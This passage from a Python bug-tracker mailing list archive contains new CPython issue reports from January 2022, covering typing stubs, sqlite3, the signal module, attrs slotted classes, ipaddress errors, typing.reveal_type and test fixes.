attribute. However, it has serious downsides. Users wanting to create typed subclasses of `dict` have found that they are no longer able to annotate `.keys()`, `.values()` and `.items()` as returning `KeysView`, `ValuesView` and `ItemsView`, as mypy now flags this as an incompatible override. Instead, they now have to import `dict_keys`, `dict_values` and `dict_items` from `_collections_abc`, a private module. Moreover, they are unable to parameterise these classes at runtime. In other words, you used to be able to do this: ``` from typing import KeysView, TypeVar K = TypeVar("K") V = TypeVar("V") class DictSubclass(dict[K, V]): def keys(self) -> KeysView[K]: return super().keys() ``` But now, you have to do this: ``` from _collections_abc import dict_keys from typing import TypeVar K = TypeVar("K") V = TypeVar("V") class DictSubclass(dict[K, V]): def keys(self) -> "dict_keys[K, V]": return super().keys() ``` References: * PR where `.mapping` attribute was added to the typeshed stubs: https://github.com/python/typeshed/pull/6039 * typeshed issue where this was recently raised: https://github.com/python/typeshed/issues/6837 * typeshed PR where this was further discussed: https://github.com/python/typeshed/pull/6888 ---------- components: Library (Lib) keywords: 3.10regression messages: 410695 nosy: AlexWaygood, Dennis Sweeney, Jelle Zijlstra, gvanrossum, kj, rhettinger, serhiy.storchaka, sobolevn priority: normal severity: normal status: open title: Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:32:40 2022 From: report at bugs.python.org (sping) Date: Sun, 16 Jan 2022 16:32:40 +0000 Subject: [New-bugs-announce] [issue46400] Please updated bundled libexpat to 2.4.3 with security fixes Message-ID: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> New submission from sping : Expat 2.4.3 released, includes security fixes https://blog.hartwork.org/posts/expat-2-4-3-released/ Thank you! PS: This is similar to bpo-44394 excect now it's 2.4.3. ---------- components: XML messages: 410700 nosy: sping priority: normal severity: normal status: open title: Please updated bundled libexpat to 2.4.3 with security fixes type: security versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:35:12 2022 From: report at bugs.python.org (Ching) Date: Sun, 16 Jan 2022 16:35:12 +0000 Subject: [New-bugs-announce] [issue46401] Using setuptools version 59.8.0 or below before upgrade Python 3.10.2 from source on Debian 11 Message-ID: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> New submission from Ching : 1. Before upgrade to Python version 3.10.2 from source on Debian Linux, I must downgrade setuptools to version 59.8.0 or below. 2. At the stage of "make -j 4", setuptools version 60.0.0 or above raise an error of: ModuleNotFoundError: No module named 'binascii' It is not a big issue, just remind Pythonistas to save their time to debug. Reference of installation Python from source on Debian: https://computingforgeeks.com/how-to-install-python-on-debian-linux/ ---------- components: Installation files: error1.txt messages: 410701 nosy: i-Ching priority: normal severity: normal status: open title: Using setuptools version 59.8.0 or below before upgrade Python 3.10.2 from source on Debian 11 type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50564/error1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:42:31 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 16 Jan 2022 17:42:31 +0000 Subject: [New-bugs-announce] [issue46402] Enhance sqlite3 to avoid implicit creation? Message-ID: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> New submission from Ned Batchelder : The sqlite3 library implicitly creates the database if the requested file doesn't exist. I would like to be able to avoid that implicit creation. (Actually, it would be enough to know whether I had created the database, but the underlying SQLite library doesn't seem to indicate that.) The C code currently hard-codes the SQLite flag to create the database if it doesn't exist: rc = sqlite3_open_v2(database, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | (uri ? SQLITE_OPEN_URI : 0), NULL); Could we make this an option, so the Python code could avoid implicit creation? ---------- components: Library (Lib) messages: 410704 nosy: nedbat priority: normal severity: normal status: open title: Enhance sqlite3 to avoid implicit creation? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:12:33 2022 From: report at bugs.python.org (HAYDEN NGUYEN) Date: Sun, 16 Jan 2022 20:12:33 +0000 Subject: [New-bugs-announce] [issue46403] SyntaxError for no reason Message-ID: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> New submission from HAYDEN NGUYEN <1071754 at lcps.org>: Here is my code: import random def drawBoard(board): print(board[7] + '|' + board[8] + '|' + board[9]) print('-+-+-') print(board[4] + '|' + board[5] + '|' + board[6]) print('-+-+-') print(board[1] + '|' + board[2] + '|' + board[3]) def inputPlayerLetter(): letter='' while not (letter=="X" or letter=="O"): print('Do you want to be X or O?') letter=input.upper() if letter =='X': return['X','O'] else: return['O','X'] def whoGoesFirst(): if random.randint(0,1) == 0: return 'computer' else: return 'player' def makeMove(board,letter,move): board[move]=letter def isWinner(bo,le): return ((bo[7] == le and bo[8] == le and bo[9] == le) or ((bo[4] == le and bo[5] == le and bo[6] == le) or ((bo[1] == le and bo[2] == le and bo[3] == le) or ((bo[7] == le and bo[4] == le and bo[1] == le) or ((bo[8] == le and bo[5] == le and bo[2] == le) or ((bo[9] == le and bo[6] == le and bo[3] == le) or ((bo[7] == le and bo[5] == le and bo[3] == le) or ((bo[9] == le and bo[5] == le and bo[1] == le)) def getBoardCopy(board): boardCopy=[] for i in board: boardCopy.append(i) return boardCopy def isSpaceFree(board,move): return board[move] == '' def getPlayerMove(board): move='' while move not in '1 2 3 4 5 6 7 8 9'.split() or not isSpaceFree(board,int(move)): print('What is your next move? (1-9)') move=input() return int(move) def chooseRandomMoveFromList(board,movesList): possibleMoves=[] for i in movesList: if isSpaceFree(board,i): possibleMoves.append(i) if len(possibleMoves) != 0: return random.choice(possibleMoves) else: return None def getComputerMove(board,computerLetter): if computerLetter=='X': playerLetter=='O' else: playerLetter=='X' for i in range(1,10): boardCopy=getBoardCopy(board) if isSpaceFree(boardCopy,i): makeMove(boardCopy,computerLetter,i) if isWinner(boardCopy,playerLetter): return i move=chooseRandomMoveFromList(board, [1,3,7,9]) if move!=None: return move if isSpaceFree(board,5): return 5 return chooseRandomMoveFromList(board, [2,4,6,8]) def isBoardFull(board): for i in range(1,10): if isSpaceFree(board,i): return False for i in range(1,10): if isSpaceFree(board,i): return False return True print('Welcome to Tic-Tac-Toe') while True: theBoard=[''] * 10 playerLetter, computerLetter=inputPlayerLetter() turn=whoGoesFirst() print('The ' + turn + ' will go first.') gameIsPlaying=True while gameIsPlaying: if turn=='player': drawBoard(theBoard) move=getPlayerMove(theBoard) makeMove(theBoard,playerLetter,move) if isWinner(theBoard,playerLetter): drawBoard(theBoard) print('Hooray! You have won the game!') gameIsPlaying=False else: if isBoardFull(theBoard): drawBoard(theBoard) print('The game is a tie!') break else: turn='computer' else: move=getComputerMove(theBoard, computerLetter) makeMove(theBoard,computerLetter,move) if isWinner(theBoard,computerLetter): drawBoard(theBoard) print('The computer has beat you! You lose.') gameIsPlaying=False else: if isBoardFull(theBoard): drawBoard(theBoard) print('The game is a tie!') break else: turn='player' print('Do you want to play again! (yes or no)') if not input().lower().startswith('y'): break On def getBoardCopy(board):, it says "SyntaxError:invalid syntax". I looked through the code and found nothing wrong. Why is this? ---------- assignee: terry.reedy components: IDLE files: tic_tac_toe.py messages: 410720 nosy: 1071754, terry.reedy priority: normal severity: normal status: open title: SyntaxError for no reason versions: Python 3.9 Added file: https://bugs.python.org/file50565/tic_tac_toe.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 17:48:06 2022 From: report at bugs.python.org (=?utf-8?q?Tin_Tvrtkovi=C4=87?=) Date: Sun, 16 Jan 2022 22:48:06 +0000 Subject: [New-bugs-announce] [issue46404] 3.11a4: a small attrs regression Message-ID: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> New submission from Tin Tvrtkovi? : We've received a report over at the attrs issue tracker about our test suite failing on Python 3.11. Here's the link: https://github.com/python-attrs/attrs/issues/907 It turns out to be an issue with the no-arg `super()` calls in slotted classes. Here's a minimal reproducer example: ``` from attrs import define @define class A: pass @define class B(A): def test(self): super() B().test() ``` ``` Traceback (most recent call last): File "/Users/tintvrtkovic/pg/attrs/a01.py", line 15, in B().test() ^^^^^^^^^^ File "/Users/tintvrtkovic/pg/attrs/a01.py", line 12, in test super() ^^^^^^^ TypeError: super(type, obj): obj must be an instance or subtype of type ``` This is a known issue for which we have implemented workarounds. The workarounds aren't effective for 3.11 though. I have implemented a fix in attrs (https://github.com/python-attrs/attrs/pull/910), but I still thought I'd post this here to maybe get the core devs opinion. Dataclasses exhibit the exact same issue when used with `slots=True`, both in 3.10 when `slots` was added and in 3.11. I guess no one reported it or tried fixing it. A comprehensive description of the issue follows: since it's impossible to add *slotness* (i.e. set `__slots__`) to a class after it has been created, when creating a slotted class the class decorators in attrs and dataclasses actually replace the class they are applied to with a copy of it, with slots added. This works, except in the case of the no-arg `super()` being used in any of the class methods (and maybe another edge case that I can't remember). When the compiler encounters the no-arg `super()` form, it adds some state to the function `__closure__` cells. This state causes the exception shown above, since it's incorrect when the class gets replaced. So these closure cells need to be rewritten when the class is replaced. In Python versions prior to 3.11, the closure cells were immutable so extra effort was needed to rewrite them. The functions are here: https://github.com/python-attrs/attrs/blob/9727008fd1e40bc55cdc6aee71e0f61553f33127/src/attr/_compat.py#L145. In 3.11, our old closure cell rewriting doesn't work any more, but closure cells don't appear to be immutable either, so the fix in my attr PR linked above is simple. Still, it's another branch in the code to support a specific version. I don't know if there's anything actionable here for Python, apart from confirming or denying if this behavior is expected. ---------- components: Interpreter Core messages: 410730 nosy: tinchester priority: normal severity: normal status: open title: 3.11a4: a small attrs regression type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:34:44 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 23:34:44 +0000 Subject: [New-bugs-announce] [issue46405] Warning compiling main on Windows Message-ID: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org> New submission from Terry J. Reedy : Sometime between Jan 7 and Jan 16 (today) this VC compile warning appeared (debug build). "specialize.c ..\Python\specialize.c(1243): warning C4018: '<': signed/unsigned mismatch [f:\dev\3x\PCbuild\_freeze_module.vcxproj]" Same is repeated at end of compile. Could and should such warnings be treated as errors in CI Windows' build? Or is it specific to debug build? ---------- components: Build, Windows messages: 410734 nosy: Mark.Shannon, paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal status: open title: Warning compiling main on Windows type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:38:29 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 Jan 2022 23:38:29 +0000 Subject: [New-bugs-announce] [issue46406] optimize int division Message-ID: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> New submission from Gregory P. Smith : Based on a python-dev thread, we've come up with faster int division code for CPython's bignums. https://mail.python.org/archives/list/python-dev at python.org/thread/ZICIMX5VFCX4IOFH5NUPVHCUJCQ4Q7QM/#NEUNFZU3TQU4CPTYZNF3WCN7DOJBBTK5 filing this issue for starters to attach a PR to. details forthcoming. ---------- messages: 410735 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: optimize int division type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 01:46:43 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 06:46:43 +0000 Subject: [New-bugs-announce] [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations Message-ID: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> New submission from theeshallnotknowethme : Optimize calculating powers of 2 for integers. Does not include optimizing modular exponentiation because benchmarking shows current version of modular exponentiation is faster. Also optimizes any call with the structure `l_divmod(a, b, NULL, &mod)`. > python_modified.exe -m timeit -s "x = 2" "x**10000000" 10000 loops, best of 5: 33.1 usec per loop > python_current.exe -m timeit -s "x = 2" "x**10000000" 10 loops, best of 5: 35.2 msec per loop ---------- components: Interpreter Core messages: 410744 nosy: February291948 priority: normal severity: normal status: open title: optimizing `1 << n` or `2 ** n` and modulo-only operations versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 04:01:28 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 09:01:28 +0000 Subject: [New-bugs-announce] [issue46408] signal module wrongly relies on small int singletons Message-ID: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org> New submission from Christian Heimes : The signal.signal() function directly compares PyObject *handler with PyObject *modstate->ignore_handler. This works on most platforms because they are both small ints and Python uses singletons for cached small ints. The assumption breaks when Python is built without small int cache or a platform has SIG_IGN / SIG_DFL that is outside the range of small int cache. The wasm32-emscripten platform uses "((void (*)(int))-2)" (4294967294) for SIG_IGN. The wrong comparison breaks several tests on WASM32. The function should use PyObject_RichCompareBool(handler, modstate->ignore_handler, Py_EQ) instead. if (handler == modstate->ignore_handler) { func = SIG_IGN; } else if (handler == modstate->default_handler) { func = SIG_DFL; } https://github.com/python/cpython/blob/7f4b69b9076bdbcea31f6ad16eb125ee99cf0175/Modules/signalmodule.c#L530-L534 ---------- components: Extension Modules messages: 410747 nosy: christian.heimes priority: normal severity: normal status: open title: signal module wrongly relies on small int singletons type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 06:54:35 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 11:54:35 +0000 Subject: [New-bugs-announce] [issue46409] Add a new bytecode instruction to create generators Message-ID: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> New submission from Mark Shannon : (including coroutines, and async generators) We now make the start and resumption of Python functions explicit in the bytecode which allows us to initialize frames in the bytecode without exposing incomplete frames tracing, the GC etc. However, we still expose incomplete frames when creating generators. By making the creation of generators explicit in the bytecode we first create the frame, then the generator and all is well. See https://bugs.python.org/issue46374 and https://bugs.python.org/issue46389 for examples. ---------- assignee: Mark.Shannon components: Interpreter Core messages: 410764 nosy: Mark.Shannon priority: normal severity: normal status: open title: Add a new bytecode instruction to create generators type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 07:31:30 2022 From: report at bugs.python.org (Jirka Marsik) Date: Mon, 17 Jan 2022 12:31:30 +0000 Subject: [New-bugs-announce] [issue46410] TypeError when parsing regexp with unicode named character sequence escape Message-ID: <1642422690.85.0.963373421806.issue46410@roundup.psfhosted.org> New submission from Jirka Marsik : re.compile(r"\N{name of Unicode Named Character Sequence}"), e.g. re.compile(r"\N{KEYCAP NUMBER SIGN}"), throws a TypeError. The regular expression parser relies on 'unicodedata' to lookup character names. The 'unicodedata' module recently added support for Unicode Named Character Sequences (https://www.unicode.org/Public/13.0.0/ucd/NamedSequences.txt). Trying to use these named character sequences in a regular expression leads to a 'TypeError', as the regexp parser tries to call 'ord' on a string with length > 1. ---------- components: Regular Expressions messages: 410770 nosy: ezio.melotti, jirkamarsik, mrabarnett priority: normal severity: normal status: open title: TypeError when parsing regexp with unicode named character sequence escape type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:40:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 14:40:58 +0000 Subject: [New-bugs-announce] [issue46411] modernize exception handling in tests Message-ID: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> New submission from Irit Katriel : There are a few tests that use sys.exc_info() because they needed to in python 2, but there is no longer a reason to do it. I will make a patch shortly. ---------- assignee: iritkatriel components: Tests messages: 410789 nosy: iritkatriel priority: normal severity: normal status: open title: modernize exception handling in tests versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:53:35 2022 From: report at bugs.python.org (=?utf-8?q?Fernando_P=C3=A9rez_G=C3=B3mez?=) Date: Mon, 17 Jan 2022 14:53:35 +0000 Subject: [New-bugs-announce] [issue46412] PyQT6 projects crashes with python 3.10 Message-ID: <1642431215.5.0.0388786370739.issue46412@roundup.psfhosted.org> New submission from Fernando P?rez G?mez : can't translate ui. files , flags of alignment , curve types of animation doesn?t wors ...etc ---------- messages: 410791 nosy: fernandoprezgmez priority: normal severity: normal status: open title: PyQT6 projects crashes with python 3.10 type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 09:57:56 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 14:57:56 +0000 Subject: [New-bugs-announce] [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` Message-ID: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> New submission from Nikita Sobolev : Today I've noticed that these two methods are not covered: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1028-L1032 - `typing._GenericAlias.__or__` - `typing._GenericAlias.__ror__` Later, I've realized that these two methods are not covered as well: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1149-L1153 - `typing._SpecialGenericAlias.__or__` - `typing._SpecialGenericAlias.__ror__` My test plan is: 1. Cover regular `_GenericAlias` with `|` operation 2. Cover some `_SpecialGeneriAlias` instances like `Sized` and `Hashable` 3. Cover `Callable` and `Tuple` types, because they are a special-cased subtypes of `_SpecialGeneriAlias` PR is on its way. ---------- components: Tests messages: 410792 nosy: sobolevn priority: normal severity: normal status: open title: `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:02:22 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 17 Jan 2022 15:02:22 +0000 Subject: [New-bugs-announce] [issue46414] Add typing.reveal_type Message-ID: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> New submission from Jelle Zijlstra : The `reveal_type()` primitive is injected by type checkers into the builtins. When the type checker sees a call, it prints the inferred type of the argument. This has been implemented across all type checkers, but adding an implementation to `typing` would help document the behavior and make it more discoverable for users. Also, it means code with `reveal_type()` calls can run without runtime errors, useful if you want to run your tests at the same time as you're debugging a typing issue. The runtime implementation can be very simple: def reveal_type(obj: _T, /) -> _T: print("Runtime type is", type(obj)) return obj reveal_type() is supported by all type checkers that I'm aware of (docs include https://google.github.io/pytype/faq.html#can-i-find-out-what-pytype-thinks-the-type-of-my-expression-is for pytype and https://mypy.readthedocs.io/en/stable/common_issues.html#reveal-type for mypy). One area of divergence is the return value. Pyright returns the inferred type of the expression as a string (and uses that in its test suite for testing type inference). Mypy returns the argument, which has the advantage that you can insert `reveal_type()` in the middle of an expression without having to put it on its own line. Also, the Pyright behavior cannot sensibly be implemented at runtime. Therefore, I suggest using Mypy's behavior for `typing.reveal_type`. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 410794 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: Add typing.reveal_type versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:21:20 2022 From: report at bugs.python.org (Thomas Cellerier) Date: Mon, 17 Jan 2022 15:21:20 +0000 Subject: [New-bugs-announce] [issue46415] ipaddress.ip_{address, network, interface} raise TypeError instead of ValueError if given a tuple as address Message-ID: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org> New submission from Thomas Cellerier : `IPv*Network` and `IPv*Interface` constructors accept a 2-tuple of (address description, netmask) as the address parameter. When the tuple-based address is used errors are not propagated correctly through the `ipaddress.ip_*` helper because of the %-formatting now expecting several arguments: In [7]: ipaddress.ip_network(("192.168.100.0", "fooo")) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) in ----> 1 ipaddress.ip_network(("192.168.100.0", "fooo")) /usr/lib/python3.8/ipaddress.py in ip_network(address, strict) 81 pass 82 ---> 83 raise ValueError('%r does not appear to be an IPv4 or IPv6 network' % 84 address) 85 TypeError: not all arguments converted during string formatting Compared to: In [8]: ipaddress.IPv4Network(("192.168.100.0", "foo")) --------------------------------------------------------------------------- NetmaskValueError Traceback (most recent call last) in ----> 1 ipaddress.IPv4Network(("192.168.100.0", "foo")) /usr/lib/python3.8/ipaddress.py in __init__(self, address, strict) 1453 1454 self.network_address = IPv4Address(addr) -> 1455 self.netmask, self._prefixlen = self._make_netmask(mask) 1456 packed = int(self.network_address) 1457 if packed & int(self.netmask) != packed: /usr/lib/python3.8/ipaddress.py in _make_netmask(cls, arg) 1118 # Check for a netmask or hostmask in dotted-quad form. 1119 # This may raise NetmaskValueError. -> 1120 prefixlen = cls._prefix_from_ip_string(arg) 1121 netmask = IPv4Address(cls._ip_int_from_prefix(prefixlen)) 1122 cls._netmask_cache[arg] = netmask, prefixlen /usr/lib/python3.8/ipaddress.py in _prefix_from_ip_string(cls, ip_str) 516 ip_int = cls._ip_int_from_string(ip_str) 517 except AddressValueError: --> 518 cls._report_invalid_netmask(ip_str) 519 520 # Try matching a netmask (this would be /1*0*/ as a bitwise regexp). /usr/lib/python3.8/ipaddress.py in _report_invalid_netmask(cls, netmask_str) 472 def _report_invalid_netmask(cls, netmask_str): 473 msg = '%r is not a valid netmask' % netmask_str --> 474 raise NetmaskValueError(msg) from None 475 476 @classmethod NetmaskValueError: 'foo' is not a valid netmask ---------- components: Library (Lib) messages: 410798 nosy: thomascellerier priority: normal severity: normal status: open title: ipaddress.ip_{address,network,interface} raise TypeError instead of ValueError if given a tuple as address type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:22:26 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 15:22:26 +0000 Subject: [New-bugs-announce] [issue46416] Direct invocation of `Lib/test/test_typing.py` fails Message-ID: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem: ``` ? ./python.exe Lib/test/test_typing.py ........................................................................................................................................................................................................s.....................................................................................................................F......................................................................................... ====================================================================== FAIL: test_special_attrs2 (__main__.SpecialAttrsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/test_typing.py", line 5068, in test_special_attrs2 self.assertEqual( ^^^^^^^^^^^^^^^^^ AssertionError: '__main__' != 'test.test_typing' - __main__ + test.test_typing ``` I think it is a good idea to use the same hack we have in `test_enum.py`: https://github.com/python/cpython/blob/83d544b9292870eb44f6fca37df0aa351c4ef83a/Lib/test/test_enum.py#L34 ```python MODULE = ('test.test_typing', '__main__')[__name__=='__main__'] ``` PR is on its way :) ---------- components: Tests messages: 410800 nosy: sobolevn priority: normal severity: normal status: open title: Direct invocation of `Lib/test/test_typing.py` fails type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:19:20 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:19:20 +0000 Subject: [New-bugs-announce] [issue46417] [subinterpreters] Clear static types in Py_Finalize() Message-ID: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> New submission from STINNER Victor : Converting static types to heap types is a work-in-progress: * bpo-40077: "Convert static types to heap types: use PyType_FromSpec()" * At December 29, 2020, 43% (89/206) of types are declared as heap types on a total of 206 types. For comparison, in Python 3.8, only 9% (15/172) of types were declared as heap types: 74 types have been converted in the meanwhile. * https://vstinner.github.io/isolate-subinterpreters.html Static types are still causing issues with Py_Initialize() / Py_Finalize() is called multiple times in the same process, which is a supported use case for embedded Python. See bpo-45691 "Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse" for a recent example with sys.float_info where sys.float_info.n_unnamed_fields holds a reference to a Python object. In june 2020, I wrote GH-20763 to clear static types at exit. But I abandoned my attempt because of bugs. Copy of my https://bugs.python.org/issue1635741#msg371119 message: """ I wrote PR 20763 to "finalize" static types in Py_Finalize(). It mostly works, but "./Programs/_testembed test_forced_io_encoding" crash. This program calls Py_Initialize() and Py_Finalize() multiple times in a loop. It doesn't look to be safe to clear static types. Many functions rely on the fact that static types are "always there" and are never finalized. Also, only a few static types are cleared by my PR: many static types are left unchanged. For example, static types of the _io module. It seems like a safer approach is to continue the work on bpo-40077: "Convert static types to PyType_FromSpec()". """ I propose a "best effort" approach: only clear a static type if it is no longer used. For example, check its reference count and its __subclasses__() method. ---------- components: Subinterpreters messages: 410808 nosy: vstinner priority: normal severity: normal status: open title: [subinterpreters] Clear static types in Py_Finalize() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:50:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 18:50:15 +0000 Subject: [New-bugs-announce] [issue46418] Simplify `MODULE` variable in `test_enum.py` Message-ID: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `MODULE` in Lib/test/test_enum.py is defined as: ```python MODULE = ('test.test_enum', '__main__')[__name__=='__main__'] ``` I dived into history and did not find any reasoning why it should not be just `__name__`. (But, I might had missed it: the first usage of it is dated back to 2016) This came up in https://github.com/python/cpython/pull/30641 So, I think it is a good idea to simplify it like this: ```python MODULE = __name__ ``` Probably, this won't cause any more confusion in the future :) I am not going to change all `MODULE` usages to `__name__` to keep the diff as minimal as possible. ---------- components: Tests messages: 410818 nosy: ethan.furman, sobolevn priority: normal severity: normal status: open title: Simplify `MODULE` variable in `test_enum.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:03:46 2022 From: report at bugs.python.org (Jorgen Harmse) Date: Mon, 17 Jan 2022 21:03:46 +0000 Subject: [New-bugs-announce] [issue46419] Incomplete Comparison to C++ Methods Message-ID: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> New submission from Jorgen Harmse : The description of classes mentions twice that methods are like C++ virtual member functions, but the truth is a bit stranger. Even __init__ seems to act like a virtual function, so there is no guarantee that the base-class part of a derived-class instance is properly constructed. Even if the base class __init__ is called, it may behave erratically. The object is already considered to belong to the derived class, so any method calls will resolve to the derived class. In C++, the run-time type inside any constructor or destructor always matches the compile-time type. Derived-class members are not called because those methods would attempt to use parts of the object that haven't been constructed yet or have already been destructed. Python takes no such precautions, and programmers should be warned accordingly. (I think the solution is to be very careful of calling any other method from __init__.) ---------- assignee: docs at python components: Documentation messages: 410823 nosy: docs at python, jharmse priority: normal severity: normal status: open title: Incomplete Comparison to C++ Methods type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:40:54 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 Jan 2022 21:40:54 +0000 Subject: [New-bugs-announce] [issue46420] Use NOTRACE_DISPATCH in specialized opcodes Message-ID: <1642455654.84.0.588596732899.issue46420@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- components: Interpreter Core nosy: Dennis Sweeney priority: normal severity: normal status: open title: Use NOTRACE_DISPATCH in specialized opcodes type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:35:02 2022 From: report at bugs.python.org (Bader Zaidan) Date: Mon, 17 Jan 2022 23:35:02 +0000 Subject: [New-bugs-announce] [issue46421] unittest ValueError when invoking as module Message-ID: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> New submission from Bader Zaidan : When running a local unittest as a module (for example, `python -m unittest ./tests/*.py`), the command fails with a ValueError. However, if we remove the local directory definition, and call it as `python -m unittest tests/*.py`, it runs without issue. A GitHub pull request with a pull request will be sent promptly. ---------- components: Library (Lib) messages: 410833 nosy: BaderSZ priority: normal severity: normal status: open title: unittest ValueError when invoking as module versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:30:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 12:30:08 +0000 Subject: [New-bugs-announce] [issue46422] Why do we need `dis.Positions`? Message-ID: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> New submission from Nikita Sobolev : While working on https://github.com/python/cpython/pull/30058 I've noticed that `Positions` namedtuple is kinda strange, source: https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L204-L213 Why? 1. It is not used. `grep` shows that: ``` ? ag Positions . Misc/HISTORY 21894: treated as being relative to the end of the input string. Positions Objects/codeobject.c 1021:static PyTypeObject PositionsIterator = { 1067: positionsiterator* pi = (positionsiterator*)PyType_GenericAlloc(&PositionsIterator, 0); Mac/PythonLauncher/English.lproj/MainMenu.nib/info.nib 7: IBEditorPositions Lib/dis.py 204:Positions = collections.namedtuple( 205: 'Positions', 239:_Instruction.positions.__doc__ = "dis.Positions object holding the span of source code covered by this instruction" 259: positions - Optional dis.Positions object holding the span of source code Lib/test/test_compile.py 1013:class TestSourcePositions(unittest.TestCase): Doc/library/re.rst 1579:Finding all Adverbs and their Positions ``` 2. Commenting it out does not make `test_dis` to fail (again, because it does not seem to be used) 3. It is documented (in docstrings only, not in `dis.rst`) that `Instruction.positions` is `dis.Positions`, but this is not true. Because `Instruction` is created as: ```python co_positions = co_positions or iter(()) try: positions = next(co_positions) except StopIteration: positions = None Instruction(positions=positions) ``` So, it is at best is `tuple | None`. Never `Positions`. What to do with it? 1. Should it be removed as unused, undocumented, and unreleased? 2. Should it be used as documented? Here: https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L453-L455 3. Any other ideas? In my opinion, it is not required, because we already have 